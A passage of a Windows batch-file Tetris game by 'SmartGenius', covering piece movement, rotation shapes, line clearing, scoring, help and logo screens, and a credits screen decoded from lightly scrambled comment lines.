Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:CheckL2
Echo.%Lin_1%Find "%Bound2%">nul
If !Errorlevel! EQU 0 (Goto :Lost)

Echo.!Lin_%LimY%!Find " ">nul
If !Errorlevel! EQU 0 (Goto :Eof)

Call :Solid

For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Call :Clear
Goto :CheckL2
:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
set /a "x=%%l^5"
call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. Perdiste !
Goto :End

:Win
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. Has Ganado !
Goto :End

:End
Echo. Thanks for Play
Echo. Tetris v1.2 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Goto :Menu

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y0,X7Y0,X8Y0,X6Y1
Set Figure6_Pos2=X7Y0,X8Y2,X8Y1,X8Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
title Fig:6 Pos:%R%
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxxx8jYfZXojYxOtxJvxxxxx
::_0 EjXzofizgxLfmgimfjqYx9GVJ
::_0 xxxJvx8XmgfqlxNxGtyjxRxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxLmjjopxotx9Xmgtpxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use arrow keys, space and X
Echo.
Echo. Left = Move Shape Left
Echo. Down = Move Shape Down
Echo. Right = Move Shape Rigth
Echo. Space = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Menu

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°° Corp. 2010 °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof
Related Posts Plugin for WordPress, Blogger...